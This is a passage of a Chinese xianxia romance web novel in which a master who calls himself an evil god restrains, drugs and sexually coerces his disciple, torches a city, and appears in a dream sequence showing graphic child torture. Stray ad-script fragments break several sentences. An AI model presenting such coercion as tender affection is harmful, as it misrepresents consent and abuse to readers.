还伴随密密麻麻的窒息,而在那份窒息中,竟诡异地钻出一点濒死的快意。 莫名其妙地爽极了。 若非不痛,陌归尘都差点以为掐的是自己。 终于,师尊那惯是清冷的嗓音,如水流回荡到他耳边,细缓淌进鼓膜,潮湿、粘稠又暧|昧:“玉玉舒服吗?” 不同空间的大火还在继续,熊熊烈焰投进雪影的眸。 陌归尘无端从中看到一丝光,是如火苗般,腾腾而起的雀跃而兴奋、扭曲而愉悦的光。 这眼神比任何极具侵略性的目光,都要毛骨悚然,叫人绒毛竖起,连带脊背也激起片颤栗。 “你看为师多疼你,把痛留给自己,其他的快乐都让你来享受。” 陌归尘懵怔了一下。 又见自家师尊颇为大方解释道:“先前不是问蔷薇引作用么?这,也是作用之一。” “你混蛋!” 陌归尘踹了人就跑。 那人似乎也不着急,好整以暇抱手,往旁边的亭角一倚,指尖抵上鼻梁揉揉,嘴里含笑提醒:“别急,给你半柱香时辰,跑慢点,待会若是摔着碰着,为师可不哄的。” 听到这含情脉脉的提醒,落荒而逃的青年,跑得更快了。 望着徒弟的身影淹没在夜色,雪影回了趟神宫。 终忍不住似的,他手掌猛地撑向书桌案角,印出一层薄汗,修长的五指微曲,手背骨节鼓起,绷出两道青筋。 是蔷薇引的副作用,子体遭受痛苦,会百倍反扑母体。 阖眼片刻,雪影扬起颈脖,全然不顾连喉结都还在渗出冷汗,目视前方的青铜轮盘。 他朝轮盘上打下个诀。 中央的能量结晶霎时飞速运转,正源源不断吸纳吞吐围绕在周遭的情愫。 哀惧、悔恨、爱厌、悲怒……等浓稠的情绪,正一点一点湮没进阵眼。 雪影敛神,转身,临走时还顺手拿走个白色小光球。 * 另一边。 无论陌归尘怎么逃,都如鬼打墙那般,走不出这座府邸。 面前是片湖,陌归尘也不知怎的,自己分明是要避开,可下一瞬,整个人却失足跌进湖中,沉下湖底,误落不知是谁残留在此的婆娑遗梦。 重新落地时,陌归尘站在红墙绿瓦下,此处貌似是皇宫? 他倒不疑有他,毕竟合欢宗满门被灭,泄漏的仙气滋润周遭一切,才会鬼魅精怪四起,作乱人间。 这遗梦怕亦是因此重现。 只是时间久远到无法追溯,便也只残留些模糊片段。 四周景物明明灭灭的,只有些对话真切入耳。 “生了生了,皇后娘娘平安诞下龙裔。” 婴孩落地,房中宫人推门而出,乌压压跪了一片报喜:“恭喜陛下,是位皇子。” 龙袍男子笑叹:“好好好,朕与梓童的孩子,理当贵为太子,传旨——” 话未完,小太监行色匆匆:“陛下,监正大人求见。” 霎时天雷滚滚,皇宫之上似有黑蛟盘旋,驱逐原本的百鸟朝凤云霞,钦天监监正疾如风奔来,噗通跪下:“陛下不可,天生无心,必是妖胎!天要亡我九黎啊!” 下一瞬。 陌归尘看到大火连烧三日三夜,火中婴孩仍苟延残喘。 监正低叹望天:“唉,天怒难平息啊。” 画面再转。 五六的男童十指被剔翻指甲,血肉模糊,翻涌出脓水,眼睛也被挖掉一只。 正面无表情站在肮脏逼仄,混乱不堪的斗兽场角落。 日光投来,照出道影子。 影子无端动了一下,男童体内也传出第二道声音,怒斥道:“你脑子被那场大火烧坏了?这么多年都不懂反抗?真想被喂野兽?” 五六岁的孩童,颈脖肌肤腐烂,是昨日被人恶毒地泼来滚烫的铁水。 他却似不知疼,冷静到极致,言简意赅:“成神之路,本就艰难。” 体内声音反驳:“谬论。” 男童又道:“曾有人,千锤百炼之后,肉身成神。” 体内的声音并不认同这理念,而产生分歧:“这具身体不是你独占的,我并不想任人鱼肉,并且,我只觉你懦弱。” 铁门打开,男童被粗暴推进斗兽场,走起路来一瘸一拐的,因为小腿上被生生剜下一块肉,鲜血淋漓,把麻衣粗布染出片狰狞可怖的暗红。 四周围观之人无不兴奋朝他扔来烂菜臭鸡蛋砖块,嘴里尽是各种污秽恶毒的谩骂。 一块石头砸来,正中男童眼角,男孩惯性撞向旁边的铁栏尖刺,铁刺刹那扎穿耳廓。 场外打赌之人拍手惊叫:“中了中了!我就说我能砸中他眼睛吧!快!给钱给钱!” …… 一国太子,合该风光无限,却连个名字都不配拥有,因为大家都喊他“妖怪”。 巨兽张开血盆大口那刻。 陌归尘被扯出遗梦。 青年额角被人轻抚一下,一丝抚慰人心的灵息钻进脑海,对方竟难得有些急色:“为师若晚来一步,你就回不来了。” 陌归尘不以为意,话语中尽是冷意,嗤之以鼻反驳:“怎么可能困住我,梦中主人是你,这遗梦难道不是你为博取徒弟同情使的小手段?” 话虽如此,可在那片无尽的恨意中,还真的不由自主地钻出一丝不合时宜的……心疼。 陌归尘别开脸:“痴心妄想。” 大抵是早就习惯徒弟的冷嘲热讽,雪影没急于反驳,转念想到猫咪天性惧水,便是抱起陌归尘不动声色远离湖边。 他边烘干徒弟衣物边替其调理纷乱的内息:“为师从不屑苦肉计,倒是你,总爱装可怜使——” 他轻顿一下,纵容笑叹,“使美人计,惯会迷惑人。” 静静注视着刚溺水的徒弟,那双眼眸哪怕失明,亦是美得惊天动地,像是在为那份残缺美作最后诀别,他低下头来轻吻着徒弟双眼。 “好啦,既然被玉玉发现了,那就把视力还给你。”言罢,抬手变出个光球,打进陌归尘体内。 灵力随之钻进徒弟识海:“而且被捉住了,就要开始接受惩罚哦。” 广袤无垠的识海里,紫金色的巨龙,甩出龙尾,死死缠住只雪白的小猫。 它将小猫卷到眼前,低下头颅,如情人温抚,用鼻尖轻蹭小猫松软发白的肚皮,随后又埋进小猫肚皮,深深嗅了一口,还情不自禁嘬了几下。 随后将一根龙须,抵进小猫的嘴巴。 小猫嘴巴很小,只能勉强塞进一点,口腔温软暖滑紧紧包裹龙须前端。 小猫呜咽两声,嘴角溢出点涎液,听着细碎的哀鸣,巨龙那晦暗的眸,顿时噙出点餍足的欲色。 “小仙君!” 偏僻寂静的府邸忽而传来喝声,老城主提灯找来:“小仙君?您还好吗?” 被打断好事,雪影颇为遗憾咂叹一口气,退出徒弟识海。 老城主走进来时,陌归尘被施法,而纹丝不动站着。 老城主颇为担忧道:“小仙君这是受惊了?莫不是也如姑娘们被吓出惊?” 雪影一副温文尔雅作派,颔首淡笑:“是我的道侣与我耍小性子,让城主见笑了。” 随后直接将人打横抱走。 须臾间,天地色变,陡生异象,整座城仿佛修罗炼狱,升腾起熊熊烈焰。 城门口,男子一袭白衣,纤尘不染,好整以暇抱着自己的爱人,从滔天火光中走出。 陌归尘被解禁锢,他回眸看着整座城就此沦陷,众人更是不知为何兵戎相见,恍若着魔那般,看不见周遭大火,只晓得同室操戈自相残杀。 脱口而出:“你没人性。” 他揪起自家师尊衣领,声声责问:“为什么!为什么要让这么多无辜之人断送性命? “你这个疯子!你丧尽天良!你没有人性!你一点都不怜悯你的子民! “平白让他们遭受无妄之灾,你没有神格,算什么神!” 雪影神色漠然:“作为神的子民,能为殿下赴死,实乃他们的无上荣耀。” 而后似觉好笑,他捏捏小徒弟唇瓣上的唇珠,坦坦荡荡开口:“我们玉玉怎么这么聪明呢,邪神,靠杀戮成神,还真的没有人性。” 随后便奖励似的啄了啄徒弟的唇珠。 毫无疑问地挨了一拳。 开启新一轮肉搏。 * 雪影抱着因体力不支而晕厥的徒弟回到魔宫时,意外撞见站在宫门口恭迎的二竹弋。 他扬眉斜觑人:“别用这样泯灭人性的目光看吾,与吾闹腾半天,累得睡着了而已。” 言罢,带着浓重的占有欲,把陌归尘脑袋往里掰,不让外人望见徒弟睡颜,也露出丝难得的温情:“睡得还挺乖。” 再抬眸,见对面人欲言又止,雪影不耐烦道:“吞吞吐吐的做什么?有话直说。” 二竹弋抿唇,还是开口道:“主上,殿下的二师姐命格有损,哪怕是死后入轮回也不可解,想要回归正常,必须置之死地而后生。 “死于非命,能破而后立。 “您完全可以告诉殿下,她为他人而死,能获得功德填补亏损的命理,加以作法,便能重获新生。” 雪影不以为意:“那是闻笺的事,她的三魂七魄又不是吾收回来的,更不是吾温养的。” “可,这不就是你们的默契么?您知闻笺一定会救,才会干脆利落去杀。 “不然以主上的性子,根本不可能插手旁人的因果,您所有的心慈手软,都用在了殿下身上。” 雪影笑了:“你想得真多。” “您也完全可以告诉殿下,您一直记得殿下的每一句话,哪怕是戏言,哪怕连殿下自己都忘了。 “正如他说过想要名扬天下,所以您亲自为他铺路,这血雨腥风的十年,殿下成长得很好,也站到了名扬天下的高度。 “那十年来,殿下受过无数伤,但都能离奇愈合,可这世间,岂会有一夕之间就无缘无故愈合的伤口? “无非是转移到另一人身罢。 “这天底下,从没有那么多巧合,只是有人在蓄意为之,就像今日那对狗主仆,您完全可以告诉殿下,是您,在偷偷了他的心结。” 雪影伸出手指, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 隔空点点二竹弋,仿若个无形敲打。 “你话很密。” * 寝殿。 端详熟睡的小徒弟,雪影拿出把小锉刀,慢条斯理给人修爪子,指甲剪完,手上也多出几道抓痕。 他不以为意笑点小徒弟鼻尖:“睡着了还这么凶。” 又低声感慨:“为什么总念叨你另一位师尊,你有没有想过,从小到大,你在师父身上得到的那些偏爱,我也占一半。 “其实你的好师尊也算用心良苦,他自己做不到,就让另一个自己来爱你。 “他那个人,打小就死脑筋,哪怕是我也劝不动他,也就只有你,只有我们的玉玉,能让他一而再,再而三让步。” 雪影也不管熟睡的小徒弟能不能听见,只看着人自言自语:“初始时,多数时间段是他主导这副身子,后来三界遍布杀戮,那段日子,大多数时候又变成我在主导这具身体。 “成神以后,我们便处于个平衡状态,只是有一日,平衡再度被打破,失衡的节点,是你出生那天,且自打你出世后,我更是逐渐被他压制。 “说来也有点可笑,我竟算不出缘由,就像我不清楚你为何会是个死婴,因为降生之时,你的寿元是满的,只是灵魂残缺罢了,顶多是个痴儿,绝不该是个死婴。 “我也不明白,为何九尾族的孩子,只有一根尾巴。 “我们玉玉身上怎么会有这么多谜团呢。” 往日云淡风轻,掌握一切的人,此刻眼底有些迷茫,也有点焦急,亦沾上丝恐惧,仿佛害怕自己那命理飘忽的爱侣,总有一天会彻底消失在这世间。 他把徒弟抱得紧实,似要揉进骨血,习惯为徒弟解疑答惑的人,破天荒地困惑着喃喃自语:“为什么呢?到底是为何呢,玉玉,你告诉师父好不好,到底是为什么……” * 日升月沉,斗转星移,潮起潮落,周而复始。 一个月,整整一个月的脚不沾地,以至于陌归尘再次下地时,脚步飘忽得连走路都觉生疏。 人也飘飘然似要升仙。 当然,伴随而来的,还有暴涨的修为。他如今已恢复原来六七成修为,且比从前的更为纯粹,威力一点不比全盛时期差。 在看到自家师尊那张脸时,竟还条件反射往后瑟缩了一下,连手里的匕首都拿不稳,哐当一声掉下地面。 那人笑而不语半天。 终是慢悠悠扯下衣角,露出脖子上深可见骨的牙印、抓痕、淤青:“殿下慌什么?不是凶狠得很么?昨夜还恨不得把为师往死里掐。” 师尊余光扫过地面血迹未干的匕首:“但凡换个人来,第一晚就被你捅死了。 “如今却是一副受害模样,搞得为师欺负你似的。” 他强势搂住徒弟,朝人腿根轻捏了把,听不出调情还是训斥:“得了便宜还卖乖。” * 九幽魔殿,一月一度的朝会又如常进行。 整个大殿静得针落可闻,实在众人被眼前这幕惊得目瞪口呆。 鎏金高座之上。 堂堂玄胤仙尊,头上顶着一双灰里发白的鼠耳,左手手腕还被扣上条银链,而银链的另一端则被自家尊主牵着。 众臣:“……” 作孽啊! 您二位的闺房乐趣不能在闺房里玩?带到这般严肃场合是否有些不妥? 高座上的白衣男子,剥着青提,乐在其中似的问:“殿下,这昏君的滋味如何?” 禁锢被解,终于得了一点点解脱,陌归尘抬起还有些僵的手臂,一把打掉自家师尊喂到嘴边的青提。 青提咚咚滚落台阶。 底下,本还循例禀报的人,突然顿住,众人也是狐疑不已,这对师徒前些日子不还高调恩爱么?怎么一个月的功夫便就…… 好吧,果然自古帝王多无情,爱你的时候不惜与天下为敌,不爱你的时候,当众给你难堪,这前前后后,统共才一个月间隔。 唉。 座人众臣一顿唏嘘感叹,投向玄胤仙尊的目光都难免带上两分同情的悲悯,再次转向自家尊主时,又莫名敬畏,十分识时务地“敢怒不敢言”。 而被同情的当事人,完全不恼,笑着替小徒弟擦手,低低伏在对方耳畔,笑语:“殿下,看仙门哪个门派最不顺眼?我们下一个便攻打哪个,可好?” 陌归尘没说话。 雪影又道:“总要讨回来的对不对?你先前不还说想让仙门给你那位好师尊陪葬么?” 至此,冷若冰霜的人,才缓涩转头面向他,惜字如金启唇。 “滚。” * 朝会过后,陌归尘一声不吭躺到床上,还把脸扭到里面,显然是不想面房中人。 雪影也不恼,弯身替徒弟掖被子,刚要走,那衾被便被人一脚踹开。 他怔了怔,还是捡起,重新盖好。 顷刻间,又被嫌弃踢开。 如此重复几次,雪影有些无奈笑看人,双指捏出个术诀,把房中气温控制到一个猫咪都喜欢的温度,才离开。 他转身来到膳房,处理灵鸡,后又来到莲池,摘荷叶。 雪影还站在池边。 不远处,一名魔侍惊慌失措抹泪,跌跌撞撞跑来,最后竟还扑通一声跪下猛磕响头,磕磕绊绊好半天,才吐出句完整的话。 “尊尊……尊主不见了。” 58.有弑神阵吗? 58. 苍云州,惊华山。 月上枝头,青年大汗淋漓拨开簇叶影,脚步缓涩迈上最后一级台阶,来到座坟前。 陌归尘知道,以自家师尊的变态程度,那人大抵更享受亲自来逮他的乐趣,就像老猫,把猎物困在可掌控的范围内,再尽情玩弄于股掌之间。 故而他花费大半修为炼制了三个与自己一模一样的傀儡,分别朝东南西北四个方向跑,借此拖延时间。 而自己更是向北出逃大半天,方才使用那枚笛穗瞬移到完全相反的方向来到此地。 那枚笛穗到底是神物,哪怕自己恢复几成修为,使用起来也极其消耗精神力。 他也根本不敢碰储物空间内的任何法宝,毕竟,他完全不敢赌会不会有哪一件被心思缜密的人驻进可追踪的术法,从而暴露自己的位置。 月光清幽泻下,凝望这坟片刻,陌归尘缓缓坐下,伸出手来,环抱那方冰凉的碑,一言不发阖上眼。 耳畔虫鸣四起、风声簌簌、甚至还有些人声狗吠,各种声音纷纷扰扰的。 他却只听到师姐调侃的话:“你这小鬼头,古灵精怪的。” 偶尔也有站在灵兽堆里替他出头,小姑娘双手叉腰,颐指气使道:“是谁,敢啄我弟弟屁屁,给我站出来!” 一众大鹅跟看傻子似的看他们俩,扑腾翅膀“鹅鹅鹅”大笑几声,随后一拥而上,围着他们就是一顿乱啄,最后还是十三师兄赶来喂灵兽,方把两人救出重围。 少年满眼焦急褪去后,一副老妈子模样训斥:“小的不省心,大的也跟着胡闹!” 他和师姐明面上一副知错模样听训,待人转身刹那,盯着十三师兄头发插满鹅毛,鞋子掉了一只,屁股布料还被啄烂一小块,相视而笑:“哈哈哈。” …… 更深露重,陌归尘迷迷蒙蒙快要睡过去,莫名感觉周遭袭来股灵息,暖融融的,也熟悉不已。 他条件反射喃了个称呼,一转身,环顾四周,月色朦胧,林中万籁俱静,什么也没有。 陌归尘撑着手肘起身,刚要离开,却见不远处,风吹开杂草,露出一角石碑。 常年来此,他对这山头熟悉不已,怎会无缘无故多出块无字碑来? 狐疑探了探气息,陌归尘快步走过去,停在碑前。 这应该是生基,为活人消灾祈福而立的。 他隔空取出里面的那枚糖画,糖画上有三个手指印。 还有一个歪歪斜斜的名字 ——闻青栀。 夜里刮来阵霜风。 青年愣在原地,那滴久未落下的泪,终是滑下眼角。 * 玉虚灵泉仙山。 刚出关不久的重明神兽,看着面前的不速之客。 还未来得及说话,那红衣青年已是利落跪下,郑重其事向他叩首。 重明吃惊,对方到底也是神的孩子,这一跪拜,可是重礼,他扶起陌归尘:“孩子快起来,遇到何事了?” 青年眸含殷切,真情流露:“晚辈恳请您,教教我复活神的方法。” 重明一怔,到底也没深究救谁,只面露棘手神色,眉宇凝重:“莫说你这点修为连复生阵都摸不到,哪怕你真能驾驭,你也没有阵引,更无祭阵之物。” 关于修为这点,陌归尘倒没纠结,此番出逃本就是为寻找复活闻笺的方法。 他只意外这神阵之苛刻:“阵引是什么?又需要何物祭阵?” 重明毫无保留道:“凡是神阵,皆需阵引,阵引即启动阵法的引子,亦即是神器,当然,神的本命法器也可充当阵引。” “我有这个。”陌归尘想也不想就拿出了那枚笛穗。 “这。”重明震惊,“你果然是他的血脉,这枚笛穗不算神器,但是钥匙,你父君的私库应该藏有不少好东西,也许真有神器。” 言罢,重明抬头追忆过往:“遥想当年,我和你父君路过片海域,说到海,你父君还真是个狠人,猫天性惧水,你父君打小便把自己往水里泡,生生由畏水变成喜水,所以他一眼相中那片海域,想在那建个私库,里面应该藏有不少宝贝,看来,冥冥之中,是要留给你的。” 听着对方的话,陌归尘问出心中困惑:“一直只听说我父君,我母上呢?” “母上?” 重明轻笑,“孩子,你们九尾一族男女皆可孕子,你父君更不得了,只一人就能把你诞下,是父也是母。” 说到旧友,重明眼中尽是笑意,恨不能拉着对方的孩子促膝长谈:“你父君那人狡猾得很,还曾假孕诓我们这些老友给送来一堆贺礼,结果十月后,球都没给我们看一眼,跟只老狐狸似的。” 陌归尘:“还能假孕?” 重明:“自然,说不定这法子也藏在你父君的私库。” 他停顿一下,讪讪一笑:“题外话说多了,言归正传,至于祭阵之物,乃心骨,好孩子,倘若一个人没有心骨,那是必死无疑的。 “这复生阵,说到底,无非是一命换一命。” 重明于心不忍轻叹:“且这复生阵虽说是神阵,却是上古邪法衍生而来,吾从未听过有成功先例,你亦愿意以身试险?” “从未有成功先例?” “是,从未。” 陌归尘久未再语。 重明望着压下眉眼的青年,那人肩膀低垂,也连脑袋也越埋越深,失魂落魄似在自责。 这怅然若失的模样看得人一阵恻隐之心微动,酝酿了一下,本想安慰一下气馁的小家伙。 下一瞬。 陌归尘蓦然抬起眸,目光灼灼,虔诚如信徒,朝他抛出一个毛骨悚然的问题。 “有弑神阵吗?” * 碧海。 时过境迁,曾经的无主之海,一半变成荒地,剩下的还被碧海阁占据,若想要去一趟重明口中的私库,怕是得按规矩,闯一闯碧海阁秘境。 这碧海阁,陌归尘倒是略有耳闻,是多年前崛起的神秘组织,据说对魂术颇有研究。 若非二师姐当年魂飞魄散,他怕也是会来此求一求。 而十年前,碧海阁换了一任阁主,新任阁主从不以真面目示人,神秘不已。 且自新阁主上任后,更是每年大开碧海秘境,不设条件,仙魔鬼怪,哪怕是凡人,凡能过通天栈道者,皆无任欢迎闯秘境。 所谓通天栈道,便就是陌归尘眼前这条稍有失足便粉身碎骨的栈道。 陌归尘阖眼,义无反顾踏上台阶,这栈道还伴随各种幻境、暗器、法术攻击。 又一次避开层出不穷的攻击,青年脚尖刚落地,再遭机关暗算,脚下骤然踏空,掉下栈道。 陌归尘袖口飞出抹红绸,眼疾手快飞出,精准束住栈道的上的一根木锥。 另一只手吃力抓上木板,正犹豫如何翻身上去,忽然,一只强而有力的手,抓住来手臂,将他扯上来。 陌归尘顺着那手臂看去。 顿时呆愣许久。 * 人声鼎沸的客栈。 小二热情上菜:“二位,都是店里的招牌菜,请慢用。” 陌归尘余光瞥去这些招牌菜,大多数菜式竟都非常合他口味,不知是有心,还是无意。 二人面对面而坐,静默无言,谁也没有先说话。 人的情感总是复杂,不是靠单纯的三言两语能说清楚,就像此刻的陌归尘,五味杂陈,百感交集,不知该说些什么,只能小小伸出手指,偷偷摸摸似的,把记忆中师兄常爱吃的那道菜推到对方跟前。 终于,对方打破这诡异的氛围,率先开口,嗓音淡淡的:“碧海阁秘境尚未正式开放,你现在过去,只是无用功。” “师兄。” 陌归尘小心翼翼喊了一声,尊敬,却也疏离,毕竟在浮华派那段时光,他都是直呼其名的。 对面人没应声,也没动筷,一言不发离开,貌似是不太想接受他的示好。 离开客栈的少年招来手下。 手下大为不解:“阁主,我们真要提前开放秘境么?” 少年:“嗯,暂时收一收里面的摄魄术。” 少年刚迈开脚步,又蓦然一顿,转身交代句:“再添些避水珠。” 避水珠? 手下惊讶怔怔,这么多年,来闯秘境者,形形色色什么人都有,自然也听说过不少畏水人怕溺水而私藏避水珠,可这分明是违规的,哪能想今日,阁主竟为里头那位小修士一再破例。 虽说不合规矩,却还是听命行事,一一照做。 * 师徒二人再相见时是三日后。 某处山头,林中。 雪影穿过幢幢叶影,一身雪白衣袍还染有未散的霜气,连袖角都沾满露水潮气。 他一眼便瞧见石块上的猫。 小小一团躺在那。 乍看起来,还以为是哪个调皮的小孩在此堆的一个小雪人,日光照不进这一隅,便迟迟未融化。 哦,不是小雪人。 是只小雪猫。 雪影佯装惊讶:“这是谁家走丢的猫主子,真可怜呀。” 石块上的猫,动了动眼皮,掀开一点眼缝看过来,或者只是单纯的扫视,态度冷淡,没多作逗留,又重新阖上眼。 明明浑身是伤,却全然没有半分弱者该有的惊慌、害怕,倒是傲骨铮铮,像个凌驾众生的王者,蔑视万物。 感受到徒弟的鄙夷,雪影也不恼,像个初来乍到的游者,气定神闲环顾四周。 他笑着感慨:“这片山头风水倒宜人,石头也能长猫。” 随后来到石块旁,垂头看了眼奄奄一息的小白猫,抬手捏出个诀,白猫霎时变回人形,只是仍旧有些气若游丝。 雪影无声端详陌归尘。 小徒弟修为全无,气息孱弱趴在地,眼尾尽是倦怠,往日雍容华贵的人,此刻衣衫破碎,腕骨苍白,沾上交错的污泥,还混杂点血迹,蜿蜒凝成片污秽。 银丝凌乱半湿,松松散散贴着肩脖颈背。 萎靡而脆弱。 仿佛碰一碰便要碎掉。 不知情者还以为这是刚遭受一番惨无人道的欺凌。 雪影单膝蹲下,手肘撑着膝盖,边替对方调理内息,边打量道:“每次都搞得这么可怜。” 他双指捏起陌归尘下巴:“为师从前怎么没发现,我们玉玉还是个隐藏的受虐狂?” 看着脏兮兮的徒弟,雪影捻指挑进对方领口,明明可以简单捏个诀,却偏偏要折磨人似的一点一点解开衣襟上的结子,感受着底下人压抑不住的战栗,他似觉好笑:“害怕了? “那为什么要逃?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 换好衣服后,他又去脱徒弟的鞋子,鞋袜除去,看着对方脚骨上连片的淤青擦伤,青红交紫,又血淋淋的可怖。 那份阴鸷神情莫名涌上丝扭曲的,仿佛被事实取悦到的愉悦:“你看,离了为师,你连路都走不顺畅。 “这样,也要离开为师么? “还是说,玉玉所做种种,不过是为挑衅为师,目的是想要师尊好好教训你一顿? “我说你那位好师尊把你摁在怀里打,你还非他不可,敢情是为师疏忽,大抵,我们玉玉就喜欢那档子事。”他搂起陌归尘,起手,就往对方腰下轻掴一掌,故意恶劣地问,“喜欢这种调调?” 他收起一贯的纵容,面容略带冷漠,目睹在他怀里剧烈反抗几下的徒弟。 就这么面无表情看着小徒弟像案板上的鱼,垂死挣扎,无处可遁,最后闹腾累了,只能无力倒了倒。 他悉心抚平陌归尘皱褶的衣襟:“自己走,还是为师抱你?” 后低头:“瞧为师这记性,忘了给我们玉玉带新鞋袜了,殿下金尊玉贵的,这破地儿这般凹凸不平,走起来又颠又硌脚的,光脚走多遭罪。” 陌归尘骨架偏小,身形清薄,但放在常人堆里也是高挑出众的,只是落在自家师尊怀抱里,体型差便出来了,能被完全包裹住,这样的拥抱,总能极大满足对方的病态占有欲。 雪影娴熟托着陌归尘大腿,轻车熟路进去,红袍衣摆翩然落下,堪堪遮住所有光景。 似觉不够,他又特地给徒弟裹盖层雪融披风,便是把人遮挡得严严实实,密不透风。 这幕,任谁远远看去,只觉得那是一个再寻常不过的抱人动作。 像极哄爱人睡觉的称职好道侣。 只有当事人清楚,陌归尘虚虚搭在他肩膀的手,因某些隐晦秘事而紧绷、发抖。 他眉眼极尽轻柔,低垂头颅,浅吻徒弟发顶,双腿却专挑高低不平的路走。 托着对方的臂还故意往上掂了掂。 下山的那段路,陌归尘死咬嘴唇,由头到尾,愣是没与自家师尊吭过半点儿声响。 师尊却伏在在他耳边,低低笑着,嗓音浅淡,似连日的霉雨天,含着股阴暗、冷泠,又黏稠的潮意。 “还有好长一段路呢。” * 师徒二人从山路拐出,便远远瞧见些人似乎要登山祈福。 正好到岔口,雪影本想避开人群的,哪知一名淳朴大娘竟熟络不已跑过来。 大娘远远便瞧见一位公子抱着人下山,被抱的之人整个身子都被披风裹得严严实实的,只露出小半截负伤的脚踝。 她甚是自来熟关心道:“哟!这位小公子怎么受伤了?摔着了?老身这有些草药也不知管不管用。” 雪影淡笑颔首:“小徒顽劣,乱跑摔伤。” 大娘感慨:“啊,是师徒呢,感情真好。” 雪影抱着陌归尘掂了掂,感受着抓在他衣襟的手猛然颤抖了一下,而后把脑袋往另一边深深埋下去,大抵是怕发出羞耻嗓音,闷头在他胸膛狠咬。 他没有知觉似的,端出一副慈师作派,手心温抚徒弟脑袋,有一下没一下顺毛:“是呀,这么大个人,还撒娇要师父抱,不抱都不愿走,现在倒是知道害臊。” 大娘笑看这师慈徒爱的一幕:“碰上这般温柔的好师父,换谁不黏人呀。” 雪影像个慈爱长者,抹抹陌归尘眉骨细汗,又扯了扯披风帽沿,完全挡住徒弟薄红的半边脸,一味迁就纵容:“其实怪我,打小给他娇生惯养的,纵得人四体不勤五谷不分。” 大娘看着对面男子的小动作,乐呵呵一笑,也后知后觉到对方溢于言表的逐客语气。 她自觉多余,话中尽是体面,好心指指山下某方向:“那处有医馆,二位还是莫耽搁了,我看小公子伤势不轻呐,该是疼极了才不说话的。” * 僻静无人的小道。 雪影双手抱住陌归尘,欣赏景致似的,正慢悠悠走着。 “师尊。” 埋首伏在他肩头的徒弟忽然出声,嗓音轻缓低哑,还夹杂着点温软,任谁都听得方寸大乱,心间一顿软化。 雪影脚步微顿,只道是对方劫后余生流露出来的一点脆弱,和幼时一样,白日里一副混世魔王的模样,午夜噩梦惊醒时,又会揉着眼眸,抽着红红的鼻子,跑来找师父撒娇。 他也似良心发现那般,把徒弟抱到一旁石块,半屈膝蹲在对方面前,微仰头,指尖拭过陌归尘眼尾未退的绯红:“怎么了?” 那瞬,陌归尘恍惚了一下。 曾几何时,这样温馨的画面上演过无数次,原来平庸如他,有一天也会陷进庄周梦蝶的桎梏中。 只顷刻却恶寒抽身。 好半晌,陌归尘都没吭声。 雪影耐着性子,边等待后话,边低垂脑袋替徒弟穿鞋,刚套完一只脚,对方突然伏下身,埋首他肩窝,狠狠咬破颈脖:“我这十年,算什么?” 他倒是差点忘了,猫很记仇,便由得徒弟把积攒的怒气撒出来,朝他狠狠泄愤。 血水渗透唇齿,在自家师尊看不到的角度,陌归尘眼底潮红尽退,清明目视前方,嘴角泛起诡异的笑,如在刀尖舔蜜,一点一点汲取对方的血。 他宛若一颗被哺育在阴暗潮湿中的种子,正悄然无声地开出刚烈的花。 59.我恨不得你死。 59. 魔宫,寝殿。 红绸缎随风浮荡,缥缈的帷幔穿出只手,虚虚搭在床沿,素白的指尖染血,血珠滴答滴答坠落檀木地板。 那截手臂,袖口翻折,露出肌肤上的痕迹,涎液冲淡血水,淌在密密麻麻的咬痕里,其中一个牙口深可见骨,似再动弹一分便能掉下块肉。 薄纱内,人影绰绰。 白衣男子四肢还扣着枷锁,沉重的链条交叠摩擦发出声响,还伴随细微的铃铛声,一颤一动地交|合。 红袍青年则衣衫整整齐齐,穿戴妥帖,双手把玩粗重的锁链,绕过自家师尊颈脖,深深勒了一圈,直勒出暗红的痕迹。 “师尊,你会死么?” 白衣男子被折磨得呛了几声,清隽的脸逐渐爬上薄薄的一层红。 粗糙的铁链,再一次磨破白衣男子下颌而渗出血丝。 陌归尘到底还是松了手,厌倦扔开铁链,转而一把抓住对方墨发,拿出整瓶催|情|药,不要钱似的往自家师尊嘴里灌。 啪一声,空瓶摔落地。 陌归尘死死掐住对方脖子,坐了下去:“回答我,会死么?” “不会。” “可是,我恨你,恨不得你死。” 雪影轻眯长眸,眉梢晕出点散漫,无声瞥向陌归尘脖子。 徒弟锁|骨上的铃铛沾了层热汗,很快便汇聚成水滴,啪嗒一下沿着锁|骨掉落。 他抬起掌心盛住那滴汗,含着虚弱的笑意问:“玉玉恨为师,那你如今又在做什么?做恨么?” 陌归尘也笑了:“你教的,物尽其用。” 他捏起对方下巴:“世人眼中高高在上的玄胤仙尊,不过是取悦我的暖床工具,你也就剩下这么点价值。” 雪影全然没有被羞辱的恼怒,反倒噙出抹意味不明的眼神:“如此说来,殿下很是认可为师伺候人的功夫。” 陌归尘冷下脸:“针扎而已,能有什么感觉?” 雪影笑而不语望徒弟半天:“不难受么?” 陌归尘轻嗤声,没说话。 “殿下就这么霸王硬上弓,为师都觉着疼,何况是你? “既然要物尽其用,就别委屈自己。 “应当好好享受一番才是。” 铿铿将将几声,铁链被人扯断,雪影一个翻身,便让二人交换位置坐起来。 他从后贴着徒弟的脊背,手掌轻抚上陌归尘脸颊,指尖滑过对方眉眼,雁过留痕地落下点血迹,染得那张脸更秾丽明艳。 “你看。” 捻手一指,前方不知何时立起块铜镜。 镜中青年,红袍松松垮垮,银发肆意披散,雪白的颈脖绷出个漂亮的弧度,双唇潋滟泛红,眼尾还缀着一层靡|丽的欲色。 白衣男子从红衣青年身后探头,手掌轻托青年下巴,耳|鬓|厮|磨间,锁|骨的铃铛声铛铛响起。 随后深深吻落青年的蝴蝶骨:“真漂亮。” 外头飘起鹅毛大雪,冷风灌进殿内,驱散甜腻的鹅梨帐中香,那股淡淡的血腥味便愈发显得浓盛。 烛火明亮亮燃起一片柔光,柔化着镜中腹背相拥的人影,柔出阵阵浓情蜜意的错觉。 雪影食指拨弄陌归尘唇沿,拨琴弦似的,像在逗人,陌归尘没忍住,有些不耐烦张嘴,想去咬那根惹人厌的手指,“咔”一声,咬了个空。 他听到师尊温声笑了笑,捻起点衣摆道:“来,叼一下。” 陌归尘冷扫一眼,没动嘴。 “听话。” “滚。” 身后人下巴还抵在他肩头,非但不恼,又是笑了笑,嗓音低沉沉的,听起来有点愉悦。 